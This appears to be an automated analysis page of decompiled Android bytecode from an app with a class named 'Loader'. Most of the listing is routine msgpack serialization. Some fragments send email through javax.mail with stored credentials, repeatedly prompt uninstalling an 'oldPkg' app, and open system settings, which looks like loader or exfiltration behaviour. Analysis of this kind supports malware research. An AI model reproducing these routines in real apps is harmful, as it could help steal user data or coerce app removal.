58iget-object v1, p0, Lcom/Loader$s$e;->f:Ljava/lang/String;
60iget-object v4, p0, Lcom/Loader$s$e;->g:Ljava/lang/String;
62invoke-virtual {v3, v1, v4}, Ljavax/mail/Transport;->connect(Ljava/lang/String;Ljava/lang/String;)V
63move-object v0, v2
64check-cast v0, Ljavax/mail/Message;
65move-object v1, v0
67invoke-virtual {v2}, Ljavax/mail/internet/MimeMessage;->getAllRecipients()[Ljavax/mail/Address;
68move-result-object v2
70invoke-virtual {v3, v1, v2}, Ljavax/mail/Transport;->sendMessage(Ljavax/mail/Message;[Ljavax/mail/Address;)V
72invoke-virtual {v3}, Ljavax/mail/Transport;->close()V
73try_end_5d: return-void
74catch_5e: move-exception v1
76invoke-virtual {v1}, Ljava/lang/Exception;->printStackTrace()V
77goto/16 :goto_5d
Cross References
APIs
  • java.util.Set.contains
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.net.Uri.parse
  • android.content.Intent.<init>
  • android.content.Intent.addFlags
  • android.content.Context.startActivity
  • android.os.Looper.getMainLooper
  • android.os.Handler.<init>
  • android.os.Handler.postDelayed
Strings
  • *
  • package:
  • android.intent.action.DELETE
  • oldPkg
Position Instruction Meta Information
0new-instance v2, Lcom/Loader$c$2$1$a;
2invoke-direct {v2, p0}, Lcom/Loader$c$2$1$a;-><init>(Lcom/Loader$c$2$1;)V
3check-cast v2, Ld/d/a/a;
4nop
5try_start_8:
6const-string v3, "*"
8iget-object v4, p0, Lcom/Loader$c$2$1;->a:Lcom/Loader$c$2;
10iget-object v4, v4, Lcom/Loader$c$2;->d:Ljava/lang/String;
12invoke-static {v3, v4}, Ld/d/b/h;->a(Ljava/lang/Object;Ljava/lang/Object;)Z
13move-result v3
14xor-int/lit8 v3, v3, 0x1
15if-eqz v3, :cond_84
17iget-object v3, p0, Lcom/Loader$c$2$1;->a:Lcom/Loader$c$2;
19iget-object v3, v3, Lcom/Loader$c$2;->a:Lcom/Loader$c;
21iget-object v3, v3, Lcom/Loader$c;->a:Lcom/Loader;
23invoke-static {v3}, Lcom/Loader;->access$getInstalledPackages$p(Lcom/Loader;)Ljava/util/Set;
24move-result-object v3
26iget-object v4, p0, Lcom/Loader$c$2$1;->a:Lcom/Loader$c$2;
28iget-object v4, v4, Lcom/Loader$c$2;->d:Ljava/lang/String;
30invoke-interface {v3, v4}, Ljava/util/Set;->contains(Ljava/lang/Object;)Z
31move-result v3
32if-eqz v3, :cond_84
33new-instance v3, Ljava/lang/StringBuilder;
35invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
37const-string v4, "package:"
39invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
40move-result-object v3
42iget-object v4, p0, Lcom/Loader$c$2$1;->a:Lcom/Loader$c$2;
44iget-object v4, v4, Lcom/Loader$c$2;->d:Ljava/lang/String;
46invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
47move-result-object v3
49invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
50move-result-object v3
52invoke-static {v3}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
53move-result-object v3
54new-instance v4, Landroid/content/Intent;
56const-string v5, "android.intent.action.DELETE"
58invoke-direct {v4, v5, v3}, Landroid/content/Intent;-><init>(Ljava/lang/String;Landroid/net/Uri;)V
59const/high16 v3, 0x10000000
61invoke-virtual {v4, v3}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
63iget-object v3, p0, Lcom/Loader$c$2$1;->a:Lcom/Loader$c$2;
65iget-object v3, v3, Lcom/Loader$c$2;->a:Lcom/Loader$c;
67iget-object v3, v3, Lcom/Loader$c;->a:Lcom/Loader;
69invoke-static {v3}, Lcom/Loader;->access$getCtx$p(Lcom/Loader;)Landroid/content/Context;
70move-result-object v3
72invoke-virtual {v3, v4}, Landroid/content/Context;->startActivity(Landroid/content/Intent;)V
74sget-object v3, Lcom/b;->a:Lcom/b;
76iget-object v4, p0, Lcom/Loader$c$2$1;->a:Lcom/Loader$c$2;
78iget-object v4, v4, Lcom/Loader$c$2;->d:Ljava/lang/String;
80const-string v5, "oldPkg"
82invoke-static {v4, v5}, Ld/d/b/h;->a(Ljava/lang/Object;Ljava/lang/String;)V
84invoke-virtual {v3, v4, v2}, Lcom/b;->a(Ljava/lang/String;Ld/d/a/a;)V
85new-instance v4, Landroid/os/Handler;
87invoke-static {}, Landroid/os/Looper;->getMainLooper()Landroid/os/Looper;
88move-result-object v3
90invoke-direct {v4, v3}, Landroid/os/Handler;-><init>(Landroid/os/Looper;)V
91new-instance v3, Lcom/Loader$c$2$1$1;
93invoke-direct {v3, p0, v2}, Lcom/Loader$c$2$1$1;-><init>(Lcom/Loader$c$2$1;Ld/d/a/a;)V
94move-object v0, v3
95check-cast v0, Ljava/lang/Runnable;
96move-object v2, v0
97const-wide/16 v6, 0x1388
99invoke-virtual {v4, v2, v6, v7}, Landroid/os/Handler;->postDelayed(Ljava/lang/Runnable;J)Z
100goto_83: return-void
101cond_84:
102invoke-interface {v2}, Ld/d/a/a;->a()Ljava/lang/Object;
103try_end_87: goto/16 :goto_83
104catch_88: move-exception v2
105goto/16 :goto_83
APIs
  • android.content.Context.getPackageManager
  • android.content.pm.PackageManager.getLaunchIntentForPackage
  • android.content.Intent.setFlags
  • android.content.Context.startActivity
Strings
  • com.android.settings
Position Instruction Meta Information
1invoke-virtual {p1}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
2move-result-object v0
4const-string v1, "com.android.settings"
6invoke-virtual {v0, v1}, Landroid/content/pm/PackageManager;->getLaunchIntentForPackage(Ljava/lang/String;)Landroid/content/Intent;
7move-result-object v0
8const/high16 v1, 0x10000000
10invoke-virtual {v0, v1}, Landroid/content/Intent;->setFlags(I)Landroid/content/Intent;
12invoke-virtual {p1, v0}, Landroid/content/Context;->startActivity(Landroid/content/Intent;)V
14invoke-static {p1}, Lcom/a;->b(Landroid/content/Context;)V
16const-string v0, ""
17return-object v0
Cross References
APIs
  • java.lang.StringBuilder.append
  • java.lang.String.length
  • java.lang.String.charAt
  • java.lang.StringBuilder.append
Strings
  • \"
  • \\n
  • \\r
  • \\t
  • \\f
  • \\b
  • \\\\
  • \\\"
Position Instruction Meta Information
1const-string v0, "\""
3invoke-virtual {p0, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
4const/4 v0, 0x0
5goto_6:
6invoke-virtual {p1}, Ljava/lang/String;->length()I
7move-result v1
8if-ge v0, v1, :cond_64
10invoke-virtual {p1, v0}, Ljava/lang/String;->charAt(I)C
11move-result v1
12const/16 v2, 0x20
13if-ge v1, v2, :cond_3b
14packed-switch v1, :pswitch_data_6a
15pswitch_17:
16invoke-static {p0, v1}, Lorg/msgpack/a/a/a;->a(Ljava/lang/StringBuilder;I)V
17goto_1a: add-int/lit8 v0, v0, 0x1
18goto/16 :goto_6
19pswitch_1d:
20const-string v1, "\\n"
22invoke-virtual {p0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
23goto/16 :goto_1a
24pswitch_23:
25const-string v1, "\\r"
27invoke-virtual {p0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
28goto/16 :goto_1a
29pswitch_29:
30const-string v1, "\\t"
32invoke-virtual {p0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
33goto/16 :goto_1a
34pswitch_2f:
35const-string v1, "\\f"
37invoke-virtual {p0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
38goto/16 :goto_1a
39pswitch_35:
40const-string v1, "\\b"
42invoke-virtual {p0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
43goto/16 :goto_1a
44cond_3b: const/16 v2, 0x7f
45if-gt v1, v2, :cond_52
46sparse-switch v1, :sswitch_data_7a
48invoke-virtual {p0, v1}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
49goto/16 :goto_1a
50sswitch_46:
51const-string v1, "\\\\"
53invoke-virtual {p0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
54goto/16 :goto_1a
55sswitch_4c:
56const-string v1, "\\\""
58invoke-virtual {p0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
59goto/16 :goto_1a
60cond_52: const v2, 0xd800
61if-lt v1, v2, :cond_60
62const v2, 0xdfff
63if-gt v1, v2, :cond_60
65invoke-static {p0, v1}, Lorg/msgpack/a/a/a;->a(Ljava/lang/StringBuilder;I)V
66goto/16 :goto_1a
67cond_60:
68invoke-virtual {p0, v1}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
69goto/16 :goto_1a
70cond_64:
71const-string v0, "\""
73invoke-virtual {p0, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
74return-void
APIs
  • org.msgpack.a.z.<init>
Strings
  • NIL
  • BOOLEAN
  • INTEGER
  • FLOAT
  • STRING
  • BINARY
  • ARRAY
  • MAP
  • EXTENSION
Position Instruction Meta Information
0const/4 v7, 0x4
1const/4 v6, 0x3
2const/4 v5, 0x2
3const/4 v4, 0x1
4const/4 v3, 0x0
5new-instance v0, Lorg/msgpack/a/z;
7const-string v1, "NIL"
9invoke-direct {v0, v1, v3, v3, v3}, Lorg/msgpack/a/z;-><init>(Ljava/lang/String;IZZ)V
10sput-object v0, Lorg/msgpack/a/z;->a:Lorg/msgpack/a/z;
11new-instance v0, Lorg/msgpack/a/z;
13const-string v1, "BOOLEAN"
15invoke-direct {v0, v1, v4, v3, v3}, Lorg/msgpack/a/z;-><init>(Ljava/lang/String;IZZ)V
16sput-object v0, Lorg/msgpack/a/z;->b:Lorg/msgpack/a/z;
17new-instance v0, Lorg/msgpack/a/z;
19const-string v1, "INTEGER"
21invoke-direct {v0, v1, v5, v4, v3}, Lorg/msgpack/a/z;-><init>(Ljava/lang/String;IZZ)V
22sput-object v0, Lorg/msgpack/a/z;->c:Lorg/msgpack/a/z;
23new-instance v0, Lorg/msgpack/a/z;
25const-string v1, "FLOAT"
27invoke-direct {v0, v1, v6, v4, v3}, Lorg/msgpack/a/z;-><init>(Ljava/lang/String;IZZ)V
28sput-object v0, Lorg/msgpack/a/z;->d:Lorg/msgpack/a/z;
29new-instance v0, Lorg/msgpack/a/z;
31const-string v1, "STRING"
33invoke-direct {v0, v1, v7, v3, v4}, Lorg/msgpack/a/z;-><init>(Ljava/lang/String;IZZ)V
34sput-object v0, Lorg/msgpack/a/z;->e:Lorg/msgpack/a/z;
35new-instance v0, Lorg/msgpack/a/z;
37const-string v1, "BINARY"
38const/4 v2, 0x5
40invoke-direct {v0, v1, v2, v3, v4}, Lorg/msgpack/a/z;-><init>(Ljava/lang/String;IZZ)V
41sput-object v0, Lorg/msgpack/a/z;->f:Lorg/msgpack/a/z;
42new-instance v0, Lorg/msgpack/a/z;
44const-string v1, "ARRAY"
45const/4 v2, 0x6
47invoke-direct {v0, v1, v2, v3, v3}, Lorg/msgpack/a/z;-><init>(Ljava/lang/String;IZZ)V
48sput-object v0, Lorg/msgpack/a/z;->g:Lorg/msgpack/a/z;
49new-instance v0, Lorg/msgpack/a/z;
51const-string v1, "MAP"
52const/4 v2, 0x7
54invoke-direct {v0, v1, v2, v3, v3}, Lorg/msgpack/a/z;-><init>(Ljava/lang/String;IZZ)V
55sput-object v0, Lorg/msgpack/a/z;->h:Lorg/msgpack/a/z;
56new-instance v0, Lorg/msgpack/a/z;
58const-string v1, "EXTENSION"
59const/16 v2, 0x8
61invoke-direct {v0, v1, v2, v3, v3}, Lorg/msgpack/a/z;-><init>(Ljava/lang/String;IZZ)V
62sput-object v0, Lorg/msgpack/a/z;->i:Lorg/msgpack/a/z;
63const/16 v0, 0x9
64new-array v0, v0, [Lorg/msgpack/a/z;
66sget-object v1, Lorg/msgpack/a/z;->a:Lorg/msgpack/a/z;
67aput-object v1, v0, v3
69sget-object v1, Lorg/msgpack/a/z;->b:Lorg/msgpack/a/z;
70aput-object v1, v0, v4
72sget-object v1, Lorg/msgpack/a/z;->c:Lorg/msgpack/a/z;
73aput-object v1, v0, v5
75sget-object v1, Lorg/msgpack/a/z;->d:Lorg/msgpack/a/z;
76aput-object v1, v0, v6
78sget-object v1, Lorg/msgpack/a/z;->e:Lorg/msgpack/a/z;
79aput-object v1, v0, v7
80const/4 v1, 0x5
82sget-object v2, Lorg/msgpack/a/z;->f:Lorg/msgpack/a/z;
83aput-object v2, v0, v1
84const/4 v1, 0x6
86sget-object v2, Lorg/msgpack/a/z;->g:Lorg/msgpack/a/z;
87aput-object v2, v0, v1
88const/4 v1, 0x7
90sget-object v2, Lorg/msgpack/a/z;->h:Lorg/msgpack/a/z;
91aput-object v2, v0, v1
92const/16 v1, 0x8
94sget-object v2, Lorg/msgpack/a/z;->i:Lorg/msgpack/a/z;
95aput-object v2, v0, v1
96sput-object v0, Lorg/msgpack/a/z;->l:[Lorg/msgpack/a/z;
97return-void
APIs
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
Strings
  • {}
  • {
  • :
  • ,
  • }
Position Instruction Meta Information
1iget-object v0, p0, Lorg/msgpack/a/a/j;->b:[Lorg/msgpack/a/x;
2array-length v0, v0
3if-nez v0, :cond_8
5const-string v0, "{}"
6goto_7: return-object v0
7cond_8: new-instance v1, Ljava/lang/StringBuilder;
9invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
11const-string v0, "{"
13invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
15iget-object v0, p0, Lorg/msgpack/a/a/j;->b:[Lorg/msgpack/a/x;
16const/4 v2, 0x0
17aget-object v0, v0, v2
19invoke-static {v1, v0}, Lorg/msgpack/a/a/j;->a(Ljava/lang/StringBuilder;Lorg/msgpack/a/x;)V
21const-string v0, ":"
23invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
25iget-object v0, p0, Lorg/msgpack/a/a/j;->b:[Lorg/msgpack/a/x;
26const/4 v2, 0x1
27aget-object v0, v0, v2
29invoke-interface {v0}, Lorg/msgpack/a/x;->A()Ljava/lang/String;
30move-result-object v0
32invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
33const/4 v0, 0x2
34goto_2c:
35iget-object v2, p0, Lorg/msgpack/a/a/j;->b:[Lorg/msgpack/a/x;
36array-length v2, v2
37if-ge v0, v2, :cond_52
39const-string v2, ","
41invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
43iget-object v2, p0, Lorg/msgpack/a/a/j;->b:[Lorg/msgpack/a/x;
44aget-object v2, v2, v0
46invoke-static {v1, v2}, Lorg/msgpack/a/a/j;->a(Ljava/lang/StringBuilder;Lorg/msgpack/a/x;)V
48const-string v2, ":"
50invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
52iget-object v2, p0, Lorg/msgpack/a/a/j;->b:[Lorg/msgpack/a/x;
53add-int/lit8 v3, v0, 0x1
54aget-object v2, v2, v3
56invoke-interface {v2}, Lorg/msgpack/a/x;->A()Ljava/lang/String;
57move-result-object v2
59invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
60add-int/lit8 v0, v0, 0x2
61goto/16 :goto_2c
62cond_52:
63const-string v0, "}"
65invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
67invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
68move-result-object v0
69goto/16 :goto_7
APIs
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
Strings
  • {}
  • {
  • :
  • ,
  • }
Position Instruction Meta Information
1iget-object v0, p0, Lorg/msgpack/a/a/j;->b:[Lorg/msgpack/a/x;
2array-length v0, v0
3if-nez v0, :cond_8
5const-string v0, "{}"
6goto_7: return-object v0
7cond_8: new-instance v1, Ljava/lang/StringBuilder;
9invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
11const-string v0, "{"
13invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
15iget-object v0, p0, Lorg/msgpack/a/a/j;->b:[Lorg/msgpack/a/x;
16const/4 v2, 0x0
17aget-object v0, v0, v2
19invoke-static {v1, v0}, Lorg/msgpack/a/a/j;->b(Ljava/lang/StringBuilder;Lorg/msgpack/a/x;)V
21const-string v0, ":"
23invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
25iget-object v0, p0, Lorg/msgpack/a/a/j;->b:[Lorg/msgpack/a/x;
26const/4 v2, 0x1
27aget-object v0, v0, v2
29invoke-static {v1, v0}, Lorg/msgpack/a/a/j;->b(Ljava/lang/StringBuilder;Lorg/msgpack/a/x;)V
30const/4 v0, 0x2
31goto_28:
32iget-object v2, p0, Lorg/msgpack/a/a/j;->b:[Lorg/msgpack/a/x;
33array-length v2, v2
34if-ge v0, v2, :cond_4a
36const-string v2, ","
38invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
40iget-object v2, p0, Lorg/msgpack/a/a/j;->b:[Lorg/msgpack/a/x;
41aget-object v2, v2, v0
43invoke-static {v1, v2}, Lorg/msgpack/a/a/j;->b(Ljava/lang/StringBuilder;Lorg/msgpack/a/x;)V
45const-string v2, ":"
47invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
49iget-object v2, p0, Lorg/msgpack/a/a/j;->b:[Lorg/msgpack/a/x;
50add-int/lit8 v3, v0, 0x1
51aget-object v2, v2, v3
53invoke-static {v1, v2}, Lorg/msgpack/a/a/j;->b(Ljava/lang/StringBuilder;Lorg/msgpack/a/x;)V
54add-int/lit8 v0, v0, 0x2
55goto/16 :goto_28
56cond_4a:
57const-string v0, "}"
59invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
61invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
62move-result-object v0
63goto/16 :goto_7
APIs
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
Strings
  • []
  • [
  • ,
  • ]
Position Instruction Meta Information
1iget-object v0, p0, Lorg/msgpack/a/a/c;->b:[Lorg/msgpack/a/x;
2array-length v0, v0
3if-nez v0, :cond_8
5const-string v0, "[]"
6goto_7: return-object v0
7cond_8: new-instance v1, Ljava/lang/StringBuilder;
9invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
11const-string v0, "["
13invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
15iget-object v0, p0, Lorg/msgpack/a/a/c;->b:[Lorg/msgpack/a/x;
16const/4 v2, 0x0
17aget-object v0, v0, v2
19invoke-interface {v0}, Lorg/msgpack/a/x;->A()Ljava/lang/String;
20move-result-object v0
22invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
23const/4 v0, 0x1
24goto_1f:
25iget-object v2, p0, Lorg/msgpack/a/a/c;->b:[Lorg/msgpack/a/x;
26array-length v2, v2
27if-ge v0, v2, :cond_37
29const-string v2, ","
31invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
33iget-object v2, p0, Lorg/msgpack/a/a/c;->b:[Lorg/msgpack/a/x;
34aget-object v2, v2, v0
36invoke-interface {v2}, Lorg/msgpack/a/x;->A()Ljava/lang/String;
37move-result-object v2
39invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
40add-int/lit8 v0, v0, 0x1
41goto/16 :goto_1f
42cond_37:
43const-string v0, "]"
45invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
47invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
48move-result-object v0
49goto/16 :goto_7
APIs
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.Byte.toString
  • java.lang.StringBuilder.append
  • java.lang.Integer.toString
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
Strings
  • ,\"
  • \"]
Position Instruction Meta Information
0new-instance v1, Ljava/lang/StringBuilder;
2invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
3const/16 v0, 0x5b
5invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
6iget-byte v0, p0, Lorg/msgpack/a/a/h;->a:B
8invoke-static {v0}, Ljava/lang/Byte;->toString(B)Ljava/lang/String;
9move-result-object v0
11invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
13const-string v0, ",\""
15invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
17iget-object v2, p0, Lorg/msgpack/a/a/h;->b:[B
18array-length v3, v2
19const/4 v0, 0x0
20goto_1c: if-ge v0, v3, :cond_2c
21aget-byte v4, v2, v0
22const/16 v5, 0x10
24invoke-static {v4, v5}, Ljava/lang/Integer;->toString(II)Ljava/lang/String;
25move-result-object v4
27invoke-virtual {v1, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
28add-int/lit8 v0, v0, 0x1
29goto/16 :goto_1c
30cond_2c:
31const-string v0, "\"]"
33invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
35invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
36move-result-object v0
37return-object v0
APIs
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.Byte.toString
  • java.lang.StringBuilder.append
  • java.lang.Integer.toString
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
Strings
  • ,0x
  • )
Position Instruction Meta Information
0new-instance v1, Ljava/lang/StringBuilder;
2invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
3const/16 v0, 0x28
5invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
6iget-byte v0, p0, Lorg/msgpack/a/a/h;->a:B
8invoke-static {v0}, Ljava/lang/Byte;->toString(B)Ljava/lang/String;
9move-result-object v0
11invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
13const-string v0, ",0x"
15invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
17iget-object v2, p0, Lorg/msgpack/a/a/h;->b:[B
18array-length v3, v2
19const/4 v0, 0x0
20goto_1c: if-ge v0, v3, :cond_2c
21aget-byte v4, v2, v0
22const/16 v5, 0x10
24invoke-static {v4, v5}, Ljava/lang/Integer;->toString(II)Ljava/lang/String;
25move-result-object v4
27invoke-virtual {v1, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
28add-int/lit8 v0, v0, 0x1
29goto/16 :goto_1c
30cond_2c:
31const-string v0, ")"
33invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
35invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
36move-result-object v0
37return-object v0
Cross References
APIs
  • java.nio.charset.Charset.newDecoder
  • java.nio.charset.CharsetDecoder.onMalformedInput
  • java.nio.charset.CharsetDecoder.onUnmappableCharacter
  • java.nio.charset.CharsetDecoder.decode
  • java.nio.CharBuffer.toString
  • java.nio.charset.Charset.newDecoder
  • java.nio.charset.CharsetDecoder.onMalformedInput
  • java.nio.charset.CharsetDecoder.onUnmappableCharacter
  • java.nio.charset.CharsetDecoder.decode
  • java.nio.CharBuffer.toString
  • org.msgpack.core.k.<init>
Position Instruction Meta Information
1iget-object v1, p0, Lorg/msgpack/a/a/a;->a:[B
2monitor-enter v1
3try_start_3:
4iget-object v0, p0, Lorg/msgpack/a/a/a;->b:Ljava/lang/String;
5if-eqz v0, :cond_9
6monitor-exit v1
7goto_8: return-void
8cond_9:
9sget-object v0, Lorg/msgpack/core/g;->a:Ljava/nio/charset/Charset;
11invoke-virtual {v0}, Ljava/nio/charset/Charset;->newDecoder()Ljava/nio/charset/CharsetDecoder;
12move-result-object v0
14sget-object v2, Ljava/nio/charset/CodingErrorAction;->REPORT:Ljava/nio/charset/CodingErrorAction;
16invoke-virtual {v0, v2}, Ljava/nio/charset/CharsetDecoder;->onMalformedInput(Ljava/nio/charset/CodingErrorAction;)Ljava/nio/charset/CharsetDecoder;
17move-result-object v0
19sget-object v2, Ljava/nio/charset/CodingErrorAction;->REPORT:Ljava/nio/charset/CodingErrorAction;
21invoke-virtual {v0, v2}, Ljava/nio/charset/CharsetDecoder;->onUnmappableCharacter(Ljava/nio/charset/CodingErrorAction;)Ljava/nio/charset/CharsetDecoder;
22move-result-object v0
24invoke-virtual {p0}, Lorg/msgpack/a/a/a;->c()Ljava/nio/ByteBuffer;
25move-result-object v2
27invoke-virtual {v0, v2}, Ljava/nio/charset/CharsetDecoder;->decode(Ljava/nio/ByteBuffer;)Ljava/nio/CharBuffer;
28move-result-object v0
30invoke-virtual {v0}, Ljava/nio/CharBuffer;->toString()Ljava/lang/String;
31move-result-object v0
32iput-object v0, p0, Lorg/msgpack/a/a/a;->b:Ljava/lang/String;
33goto_29: monitor-exit v1
34goto/16 :goto_8
35catchall_2b: move-exception v0
36monitor-exit v1
37try_end_2d: throw v0
38catch_2e: move-exception v0
39try_start_2f:
40sget-object v2, Lorg/msgpack/core/g;->a:Ljava/nio/charset/Charset;
42invoke-virtual {v2}, Ljava/nio/charset/Charset;->newDecoder()Ljava/nio/charset/CharsetDecoder;
43move-result-object v2
45sget-object v3, Ljava/nio/charset/CodingErrorAction;->REPLACE:Ljava/nio/charset/CodingErrorAction;
47invoke-virtual {v2, v3}, Ljava/nio/charset/CharsetDecoder;->onMalformedInput(Ljava/nio/charset/CodingErrorAction;)Ljava/nio/charset/CharsetDecoder;
48move-result-object v2
50sget-object v3, Ljava/nio/charset/CodingErrorAction;->REPLACE:Ljava/nio/charset/CodingErrorAction;
52invoke-virtual {v2, v3}, Ljava/nio/charset/CharsetDecoder;->onUnmappableCharacter(Ljava/nio/charset/CodingErrorAction;)Ljava/nio/charset/CharsetDecoder;
53move-result-object v2
55invoke-virtual {p0}, Lorg/msgpack/a/a/a;->c()Ljava/nio/ByteBuffer;
56move-result-object v3
58invoke-virtual {v2, v3}, Ljava/nio/charset/CharsetDecoder;->decode(Ljava/nio/ByteBuffer;)Ljava/nio/CharBuffer;
59move-result-object v2
61invoke-virtual {v2}, Ljava/nio/CharBuffer;->toString()Ljava/lang/String;
62move-result-object v2
63iput-object v2, p0, Lorg/msgpack/a/a/a;->b:Ljava/lang/String;
64try_end_4f: iput-object v0, p0, Lorg/msgpack/a/a/a;->c:Ljava/nio/charset/CharacterCodingException;
65goto/16 :goto_29
66catch_52: move-exception v0
67new-instance v2, Lorg/msgpack/core/k;
69invoke-direct {v2, v0}, Lorg/msgpack/core/k;-><init>(Ljava/nio/charset/CharacterCodingException;)V
70throw v2
APIs
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
Strings
  • []
  • [
  • ,
  • ]
Position Instruction Meta Information
1iget-object v0, p0, Lorg/msgpack/a/a/c;->b:[Lorg/msgpack/a/x;
2array-length v0, v0
3if-nez v0, :cond_8
5const-string v0, "[]"
6goto_7: return-object v0
7cond_8: new-instance v1, Ljava/lang/StringBuilder;
9invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
11const-string v0, "["
13invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
15iget-object v0, p0, Lorg/msgpack/a/a/c;->b:[Lorg/msgpack/a/x;
16const/4 v2, 0x0
17aget-object v0, v0, v2
19invoke-static {v1, v0}, Lorg/msgpack/a/a/c;->a(Ljava/lang/StringBuilder;Lorg/msgpack/a/x;)V
20const/4 v0, 0x1
21goto_1b:
22iget-object v2, p0, Lorg/msgpack/a/a/c;->b:[Lorg/msgpack/a/x;
23array-length v2, v2
24if-ge v0, v2, :cond_2f
26const-string v2, ","
28invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
30iget-object v2, p0, Lorg/msgpack/a/a/c;->b:[Lorg/msgpack/a/x;
31aget-object v2, v2, v0
33invoke-static {v1, v2}, Lorg/msgpack/a/a/c;->a(Ljava/lang/StringBuilder;Lorg/msgpack/a/x;)V
